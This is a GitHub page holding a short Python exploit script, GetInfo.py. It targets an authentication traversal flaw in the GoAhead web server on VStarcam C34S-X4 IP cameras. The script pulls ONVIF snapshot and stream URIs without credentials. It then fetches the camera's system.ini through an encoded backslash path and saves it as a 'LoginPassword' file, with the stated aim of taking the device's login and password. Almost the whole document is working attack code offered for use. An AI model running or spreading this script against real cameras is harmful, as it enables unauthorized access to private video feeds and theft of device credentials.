-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathGetInfo.py
53 lines (36 loc) · 1.48 KB
/
GetInfo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
# Title: Authentication Traversal of GoAhead WebServer
#
# Author: https://github.com/Retr0-code/
# Repo with description: https://github.com/Retr0-code/auth-traversal
# Vendor: https://www.embedthis.com/goahead/
#
# Category: WebApps, Hardware
# Vulnerability: Sensitive Data Exposure
#
# The Vulnerability of GoAhead Service on VStarcam C34S-X4
# that allows you to download system.ini configuration file
# and get login and password.
import onvif
import requests
import argparse
def ONVIF(host, port):
camera = onvif.ONVIFCamera(host, port, "", "", "./wsdl/")
media_service = camera.create_media_service()
profiles = media_service.GetProfiles()
for profile in profiles:
snapshot = media_service.create_type('GetSnapshotUri')
snapshot.ProfileToken = profile.token
output_snap_uri = media_service.GetSnapshotUri(snapshot)
print(f"URI for snapshot: {output_snap_uri}")
print(media_service.GetStreamUri({'StreamSetup':{'Stream':'RTP-Unicast','Transport':'UDP'},'ProfileToken':profile.token}))
parser = argparse.ArgumentParser()
parser.add_argument("--onvif", help="port of ONVIF service", type=int)
parser.add_argument("--host", help="IPv4 address of camera", required=True)
parser.add_argument("--port", help="port of web-interface", type=int, required=True)
args = parser.parse_args()
if args.onvif:
ONVIF(args.host, args.onvif)
file = open("LoginPassword", "wb")
file.write(requests.get(f"http://{args.host}:{str(args.port)}/%5C%5Csystem.ini").content)
file.close()